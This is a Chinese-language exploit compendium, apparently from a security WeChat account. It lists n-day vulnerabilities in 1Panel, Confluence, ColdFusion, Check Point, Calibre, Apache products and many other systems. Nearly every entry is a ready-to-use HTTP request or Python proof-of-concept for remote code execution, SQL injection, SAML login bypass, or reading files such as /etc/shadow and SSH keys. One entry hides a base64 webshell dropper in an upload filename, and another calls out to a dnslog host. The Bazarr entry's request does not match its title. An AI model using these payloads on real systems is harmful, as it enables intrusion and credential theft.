公众号

诸葛安全

1Panel

1Panel面板最新前台RCE漏洞

- 漏洞类型：nday - RCE
- 涉及版本：专业版 v1.10.10-lts 社区版 v1.10.10-lts 1panel/openresty:1.21.4.3-3-1-focal
- 利用路径：/
- 漏洞详情：

```
GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52',
1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge',
'pc', '', '');ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test
;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?=
md5("blog.mo60.cn"); ?>');#
```

29网课

29网课交单平台epay.php存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/epay/epay.php
- 漏洞详情：

```
POST /epay/epay.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Content-Type: application/x-www-form-urlencoded
Connection: close

out_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(5)))eEcA) AND 'aEmC'='aEmC
```

360

360 新天擎终端安全管理系统存在信息泄露漏洞

- 漏洞类型：nday - 信息泄露
- 涉及版本：未知
- 利用路径：/runtime/admin_log_confcache
- 漏洞详情：

```
/runtime/admin_log_confcache
```

360天擎 - 未授权访问

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/api/dbstat/gettablessize
- 漏洞详情：

```
/api/dp/rptsvcsyncpoint?ccid=1
```

360天擎 - sql注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/api/dp/rptsvcsyncpoint
- 漏洞详情：

```
/api/dp/rptsvcsyncpoint?ccid=1';SELECT PG_SLEEP(5)--
```

3C

3C环境自动监测监控系统ReadLog文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/ajax/sys/LogService.ashx
- 漏洞详情：

```
GET /ajax/sys/LogService.ashx?Method=ReadLog&FileName=../web.config HTTP/1.1
Host: 
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http:/{{Hostname}}/Sys/Log/FileLogList.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

Adobe

Adobe-ColdFusion任意文件读取漏洞CVE-2024-20767

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/CFIDE/adminapi/_servermanager/servermanager.cfc
- 漏洞详情：

```
import requests
import re
import urllib3
import argparse

urllib3.disable_warnings()

parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target",required=True, help="Target Adobe ColdFusion Server URL")
parser.add_argument("-p", "--port",required=False, default=8500, help="Target Adobe ColdFusion Server Port, by default we use the 8500 Port")
parser.add_argument("-c", "--command", required=True,help="File to read path") # Example in Windows Server 'Windows/ServerStandardEval.xml' or Linux Server "etc/passwd"
args = parser.parse_args()

def get_uuid():
    endpoint = "/CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat" # Vulnerable endpoint to get the UUID
    session = requests.Session()
    try:
        response = session.get(args.target+":"+str(args.port)+endpoint, verify=False)
        print("[+] Connecting to ColdFusion Server...")
        repattern = r"<var name='uuid'><string>(.+?)</string></var>" # Regex expression to get UUID
        uuid = re.findall(repattern, response.text)[0]
        print("[+] UUID Obtained: ", uuid)
        return uuid
    except:
        print("[-] Error connecting to server")

def exploit(uuid):
    headers = {
        "uuid": uuid
    }
    session = requests.Session()
    endpoint2 = "/pms?module=logging&file_name=../../../../../../../"+args.command+"&number_of_lines=100" # Vulnerable endpoint to read files
    response = session.get(args.target+":"+str(args.port)+endpoint2, verify=False, headers=headers)
    if response.status_code == 200 and int(response.headers["Content-Length"]) > 2:
        print("[+] Succesfully read file!")
        print(response.text)
    else:
        print("[-] Something went wrong while reading file or the file doesn't exist")

if __name__ == "__main__":
    exploit(get_uuid())
```

Aegon

AEGON-LIFEv1.0存在SQL注入漏洞(CVE-2024-36597)

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/lims/clientStatus.php
- 漏洞详情：

```
GET /lims/clientStatus.php?client_id=1511986023%27%20OR%201=1%20--%20a HTTP/1.1
Host: localhost
sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
```

```
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=v6g7shnk1mm5vq6i63lklck78n
Connection: close
```

AJ

AJ-Report开源数据大屏存在远程命令执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：v1.4.0
- 利用路径：/dataSetParam/verification;swagger-ui/
- 漏洞详情：

```
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"
requiredFlag":1,"validationRules":"function verification(data){a = new
java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new
java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line =
r.readLine()) != null){ss+=line};return ss;}"}
```

ALR

ALR-F800存在命令执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：

```
/cmd.php
/cgi-bin/upgrade.cgi
/admin/system.html
```

- 漏洞详情：

```
POST /cmd.php HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

cmd=help


重置密码
POST /cmd.php HTTP/1.1
Host: VULNERABLE_SERVER_IP
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

cmd=password=password


写文件
POST /cgi-bin/upgrade.cgi HTTP/1.1
Host: VULNERABLE_SERVER_IP
Authorization: Basic YWxpZW46cGFzc3dvcmQ=
Content-Length: 301
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryQ3keNKAe5AQ9G7bs

------WebKitFormBoundaryQ3keNKAe5AQ9G7bs
Content-Disposition: form-data; name="uploadedFile"; filename=";echo
ZWNobyAiPD9waHAgZXZhbChcJF9SRVFVRVNUWydjbWQnXSk7Pz4iID4gL3Zhci93d3cvc2hlbGwucGhw|
base64 -d | sh"
Content-Type: application/octet-stream

Hi!
------WebKitFormBoundaryQ3keNKAe5AQ9G7bs




命令执行
POST /admin/system.html HTTP/1.1
Host: VULNERABLE_SERVER_IP
Content-Length: 412
Cache-Control: max-age=0
Authorization: Digest username="alien", realm="Authorized users only",
nonce="e01f9b86814aced6260f94fdfc978b21", uri="/admin/system.html",
response="cbc415aecfcceb4a4afa23973960b8da", qop=auth, nc=000000cc,
cnonce="dd03b48ea65cac94" #REPLACE THIS
Connection: keep-alive

------WebKitFormBoundaryJpks6wYXiOago8MS
Content-Disposition: form-data; name="upload_max_filesize"

3M
------WebKitFormBoundaryJpks6wYXiOago8MS
Content-Disposition: form-data; name="uploadedFile"; filename=";whoami"
Content-Type: application/octet-stream

123
```

```
------WebKitFormBoundaryJpks6wYXiOago8MS
Content-Disposition: form-data; name="action"

Install
------WebKitFormBoundaryJpks6wYXiOago8MS--
```

Altenergy

Altenergy电力系统控制软件set_timezone接口存在远程命令执行漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/index.php/management/set_timezone
- 漏洞详情：

```
POST /index.php/management/set_timezone HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

timezone=`id > rce.txt`
```

Apache

Apache RocketMQ 敏感数据泄露漏洞

- 漏洞类型：未知 - 信息泄露
- 涉及版本：<5.3.0
- 利用路径：未知
- 漏洞详情：

```
未知
```

Apache-CloudStack中的SAML身份验证漏洞(CVE-2024-41107)

- 漏洞类型：1day - 未授权访问
- 涉及版本：未知
- 利用路径：/client/api
- 漏洞详情：

```
import requests
from bs4 import BeautifulSoup
from datetime import datetime, timedelta
```

```
import xml.etree.ElementTree as ET
import base64
import logging

# Setup logging
logging.basicConfig(filename='exploit.log', level=logging.INFO, format='%
(asctime)s - %(message)s')

# URL of the login endpoint
url = "http://target-cloudstack-instance.com/client/api"

# Function to generate dynamic SAML response
def generate_saml_response(username):
    issue_instant = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
    not_on_or_after = (datetime.utcnow() + timedelta(hours=1)).strftime('%Y-%m-
%dT%H:%M:%SZ')

    saml_response = f"""
    <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_8f0d8b57b7b34a1a8f0d8b57b7b34a1a" Version="2.0" IssueInstant="
{issue_instant}" Destination="{url}">
        <saml:Issuer>http://your-saml-issuer.com</saml:Issuer>
        <samlp:Status>
            <samlp:StatusCode
Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
        </samlp:Status>
        <saml:Assertion Version="2.0" ID="_abc123" IssueInstant="
{issue_instant}">
            <saml:Issuer>http://your-saml-issuer.com</saml:Issuer>
            <saml:Subject>
                <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-
format:emailAddress">{username}</saml:NameID>
                <saml:SubjectConfirmation
Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                    <saml:SubjectConfirmationData NotOnOrAfter="
{not_on_or_after}" Recipient="{url}"/>
                </saml:SubjectConfirmation>
            </saml:Subject>
            <saml:Conditions NotBefore="{issue_instant}" NotOnOrAfter="
{not_on_or_after}">
                <saml:AudienceRestriction>
                    <saml:Audience>{url}</saml:Audience>
                </saml:AudienceRestriction>
            </saml:Conditions>
            <saml:AuthnStatement AuthnInstant="{issue_instant}"
SessionIndex="_abc123">
                <saml:AuthnContext>

<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtect
edTransport</saml:AuthnContextClassRef>
                </saml:AuthnContext>
            </saml:AuthnStatement>
        </saml:Assertion>
    </samlp:Response>
    """
    return base64.b64encode(saml_response.encode('utf-8')).decode('utf-8')

# List of usernames to attempt access
usernames = ["user1@example.com", "user2@example.com", "admin@example.com"]

# Function to attempt login with SAML response
def attempt_login(saml_response):
    data = {
        "command": "samlSsoLogin",
        "SAMLResponse": saml_response
    }
    response = requests.post(url, data=data)

    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        session_id = soup.find('sessionid')
        if session_id:
            logging.info(f"Login successful, session ID: {session_id.text}")
            print(f"Login successful, session ID: {session_id.text}")
        else:
            logging.info("Login failed, no session ID found in response.")
            print("Login failed, no session ID found in response.")
    else:
        logging.info(f"Login failed, status code: {response.status_code}")
        print(f"Login failed, status code: {response.status_code}")

# Attempt login for each username
for username in usernames:
    saml_response = generate_saml_response(username)
    attempt_login(saml_response)
```

Apache ActiveMQ远程命令执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：

```
5.18.0<=Apache ActiveMQ<5.18.3
5.17.0<=Apache ActiveMQ<5.17.6
5.16.0<=Apache ActiveMQ<5.16.7
5.15.0<=Apache ActiveMQ<5.15.15
```

- 利用路径：无
- 漏洞详情：

```
https://github.com/Hutt0n0/ActiveMqRCE
```

Apace_OFBiz_授权不当致远程代码执行漏洞 CVE_2024_38856

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/webtools/control/main/ProgramExport
- 漏洞详情：

```
POST /webtools/control/main/ProgramExport HTTP/1.1
User-Agent: Mozilla/5.0(Macintosh;IntelMac OS X 10_15_7)AppleWebKit/537.36(KHTML, like Gecko)Chrome/125.0.0.0Safari/537.36
Connection: close
Host:
Content-Type: application/x-www-form-urlencoded

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
```

Apache Tomcat存在信息泄露漏洞(CVE-2024-21733)

- 漏洞类型：nday - 信息泄露
- 涉及版本：Apache Tomcat 9.0.0-M11至9.0.43
  Apache Tomcat 8.5.7至85.63
- 利用路径：/
- 漏洞详情：

```
https://github.com/adysec/nuclei_poc/blob/4815f8becba3eccffa183087e84ed056cd05bab6/poc/cve/CVE-2024-21733.yaml
请求走私漏洞利用不稳定，未扫描出不代表漏洞不存在
```

Array

Array VPN任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/prx/000/http/localhost/client_sec/%00../../../addfolder
- 漏洞详情：

```
GET /prx/000/http/localhost/client_sec/%00../../../addfolder HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X_AN_FILESHARE: uname=t; password=t; sp_uname=t; flags=c3248;fshare_template=../../../../../../../../etc/passwd
Dnt: 1
Upgrade-Insecure-Requests: 1
Connection: close
```

AspCMS

AspCMS系统commentList.asp存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/plug/comment/commentList.asp
- 漏洞详情：

```
/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user
```

Atlassian

Confluence远程命令执行漏洞(CVE-2024-21683)

- 漏洞类型：nday - RCE
- 涉及版本：

```
Confluence Data Center = 8.9.0
8.8.0 <= Confluence Data Center <= 8.8.1
8.7.1 <= Confluence Data Center <= 8.7.2
8.6.0 <= Confluence Data Center <= 8.6.2
8.5.0 <= Confluence Data Center and Server <= 8.5.8 (LTS)
8.4.0 <= Confluence Data Center and Server <= 8.4.5
8.3.0 <= Confluence Data Center and Server <= 8.3.4
8.2.0 <= Confluence Data Center and Server <= 8.2.4
8.1.0 <= Confluence Data Center and Server <= 8.1.4
8.0.0 <= Confluence Data Center and Server <= 8.0.4
7.20.0 <= Confluence Data Center and Server <= 7.20.3
7.19.0 <= Confluence Data Center and Server <= 7.19.21 (LTS)
7.18.0 <= Confluence Data Center and Server <= 7.18.3
7.17.0 <= Confluence Data Center and Server <= 7.17.5
```

- 利用路径：/admin/plugins/newcode/addlanguage.action
- 漏洞详情：

```
POST /admin/plugins/newcode/addlanguage.action HTTP/2
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 372
Content-Type: multipart/form-data; boundary=f6dae662e22371daece5ff851b1c4a39

--f6dae662e22371daece5ff851b1c4a39
Content-Disposition: form-data; name="newLanguageName"

test
--f6dae662e22371daece5ff851b1c4a39
Content-Disposition: form-data; name="languageFile"; filename="exploit.js"
Content-Type: text/javascript

new java.lang.ProcessBuilder["(java.lang.String[])"](["ping 5hnlyo.dnslog.cn"]).start()
--f6dae662e22371daece5ff851b1c4a39--
```

Atmail

Atmail存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/index.php/admin/index/login
- 漏洞详情：

```
POST /index.php/admin/index/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: https://ip:port/
Content-Length: 153
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Host: ip:port
Connection: Keep-alive

Language=ca&Password=1&Username=admin'XOR(if(now()=sysdate()%2Csleep(6)%2C0))XOR'Z&login=1&send=1&server=https://ip:port/
```

AVCON

AVCON-系统管理平台download.action存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/download.action
- 漏洞详情：

```
GET /download.action?filename=../../../../../../../../etc/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
```

AVCON-网络视频服务系统editusercommit.php存在任意用户重置密码漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/avcon/av_user/editusercommit.php
- 漏洞详情：

```
POST /avcon/av_user/editusercommit.php?currentpage=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 226
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=4
userid=admin&username=administration&password=admin&rpassword=admin&question=admin&answer=123&gender=%E7%94%B7&birthday=0000-00-00&edutypeid=0&phone=&mobile=&email=&address=&postcode=&go=-2&confirm=+++%E7%A1%AE%E5%AE%9A+++
```

Bazarr

Bazarr swaggerui任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd
- 漏洞详情：

```
GET /install/installOperate.do?svrurl=http://dnslog.cn HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0)
Gecko/20100101 Firefox/125.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q
=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
```

BladeX

BladeX企业级开发平台 notice/list SQL 注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/api/blade-desk/notice/list
- 漏洞详情：

```
GET /api/blade-desk/notice/list?updatexml(1,concat(0x7e,user(),0x7e),1)=1
HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: bearer eyJhbGciOiJIUzI1N"
```

SpringBlade系统usual接口存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/api/blade-log/usual/list
- 漏洞详情：

```
GET /api/blade-log/usual/list?updatexml(1,concat(0x7e,user(),0x7e),1)=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101
Firefox/122.0
Blade-Auth: bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUi
OiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b
3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZS
I6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2l
kIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2Nv
cGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7I
nR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFc
wItxQ
Connection: close
```

CAGI

某U挖矿质押单语言系统imageupload后台任意文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/admin/news/imageupload
- 漏洞详情：

```
POST /admin/news/imageupload HTTP/1.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0Connection: keep-alive
Content-Length: 197
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryydBYM59rmMIhj0gw
Cookie: PHPSESSID=jt6bie950imjojfm9aj6hpfl10
Host: 127.0.0.1:81
Origin: http://127.0.0.1:81
Referer: http://127.0.0.1:81/admin/news/imageupload
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: noneUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/128.0.0.0 Safari/537.36
------WebKitFormBoundary03rNBzFMIytvpWhy
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
<?php phpinfo();?>
------WebKitFormBoundary03rNBzFMIytvpWhy--
```

某U挖矿质押单语言系统前台未授权修改管理员密码

- 漏洞类型：1day - 未授权访问
- 涉及版本：未知
- 利用路径：/admin/login/setpassword
- 漏洞详情：

```
/admin/login/setpassword
```

某U挖矿质押单语言系统后台phar反序列漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：./phpggc -pj 123.jpg -o evil.jpg ThinkPHP/RCE2 system whoami /admin/cache/deldir?backup_file=phar://图片地址
- 漏洞详情：

```
./phpggc -pj 123.jpg -o evil.jpg ThinkPHP/RCE2 system whoami
/admin/cache/deldir?backup_file=phar://图片地址
```

caiji

某短视频直播打赏系统任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/caiji/get_curl
- 漏洞详情：

```
GET /caiji/get_curl?url=file:///etc/passwd HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

某短视频直播打赏系统后台任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/admin/ajax/upload
- 漏洞详情：

```
POST /admin/ajax/upload HTTP/1.1
Host: 127.0.0.1:81
Content-Length: 290
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqVHCE6rweLU4xoLd
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:81
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:81/admin/stock/add?d=dsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: userid=1; PHPSESSID=300471c6cebde33867306a662af88460
Connection: close
------WebKitFormBoundaryqVHCE6rweLU4xoLd
Content-Disposition: form-data; name="type"
php
------WebKitFormBoundaryqVHCE6rweLU4xoLd
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: image/png
<?php phpinfo();?>
------WebKitFormBoundaryqVHCE6rweLU4xoLd--
```

Calibre

Calibre任意文件读取漏洞(CVE-2024-6781)

- 漏洞类型：nday - 任意文件读取
- 涉及版本：<= 7.14.0
- 利用路径：/cdb/cmd/export
- 漏洞详情：

```
import json
import sys

import requests
```

```
_target = "http://localhost:8080" # SET ME
_book_id = 1 # ensure book_id exists

def exploit(path):
    r = requests.post(
        f"{_target}/cdb/cmd/export",
        headers={"Content-Type": "application/json"},
        json=["extra_file", _book_id, path, ""],
    )
    try:
        print(r.json()["result"])
    except Exception:
        print(r.text)

if __name__ == "__main__":
    exploit("..\\..\\..\\Calibre Settings\\gui.json")
```

Calibre远程代码执行漏洞(CVE-2024-6782)

- 漏洞类型：nday - RCE
- 涉及版本：6.9.0 ~ 7.14.0
- 利用路径：/cdb/cmd/export
- 漏洞详情：

```
import json
import sys

import requests

_target = "http://localhost:8080"

def exploit(cmd):
    r = requests.post(
        f"{_target}/cdb/cmd/list",
        headers={"Content-Type": "application/json"},
        json=[
            ["template"],
            "", # sortby: leave empty
            "", # ascending: leave empty
            "", # search_text: leave empty, set to all
            1, # limit results
            f"python:def evaluate(a, b):\n import subprocess\n try:\n return subprocess.check_output(['cmd.exe', '/c', '{cmd}']).decode()\n except Exception:\n return subprocess.check_output(['sh', '-c', '{cmd}']).decode()", # payload
        ],
    )

    try:
        print(list(r.json()["result"]["data"]["template"].values())[0])
    except Exception as e:
        print(r.text)
```

```
if __name__ == "__main__":
    exploit("whami")
```

Check Point

Check-Point安全网关任意文件读取漏洞(CVE-2024-24919)

- 漏洞类型：nday - 任意文件读取
- 涉及版本：

```
Check Point Security Gateways R77.20 (EOL)
Check Point Security Gateways R77.30 (EOL)
Check Point Security Gateways R80.10 (EOL)
Check Point Security Gateways R80.20 (EOL)
Check Point Security Gateways R80.20.x
Check Point Security Gateways R80.20SP (EOL)
Check Point Security Gateways R80.30 (EOL)
Check Point Security Gateways R80.30SP (EOL)
Check Point Security Gateways R80.40 (EOL)
Check Point Security Gateways R81
Check Point Security Gateways R81.10
Check Point Security Gateways R81.10.x
Check Point Security Gateways R81.20
```

- 利用路径：/clients/MyCRL
- 漏洞详情：

```
POST /clients/MyCRL HTTP/1.1
Host: ip
Content-Length: 39

aCSHELL/../../../../../../../../etc/shadow
```

ClusterControl

ClusterControl存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/../../../../../../../../../..//root/.ssh/id_rsa
- 漏洞详情：

```
GET /../../../../../../../../../..//root/.ssh/id_rsa HTTP/1.1
```

D-LINK

D-LINK-DIR-845L接口bsc_sms_inbox.php存在信息泄露漏洞（CVE-2024-33113）

- 漏洞类型：nday - 信息泄露
- 涉及版本：未知
- 利用路径：/getcfg.php?a=%0A_POST_SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1
- 漏洞详情：

```
/getcfg.php?a=%0A_POST_SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1
```

ELADMIN

ELADMIN后台管理系统存在SSRF漏洞

- 漏洞类型：1day - SSRF
- 涉及版本：未知
- 利用路径：/api/serverDeploy/testConnect
- 漏洞详情：

```
POST /api/serverDeploy/testConnect HTTP/2
Host:192.168.0.1

{"id":9,"name":"53","ip":"xxx.dnslog.cn","account":"root","password":"1321","createBy":"admin","creatTime":"2024-08-06 00:00:00","updateBy":"admin","updateTime":"2024-08-06 00:00:00"}
```

Elgg

Elgg 5.1.4 Sql注入

- 漏洞类型：nday - SQL注入
- 涉及版本：5.1.4
- 利用路径：/members
- 漏洞详情：

```
GET /members?sort_by%5Bproperty%5D=name&sort_by%5Bproperty_type%5D=metadata&sort_by%5Bdirection%5D=desc%2c(select*from(select(sleep(6)))a) HTTP/1.1
Host:
```

F5
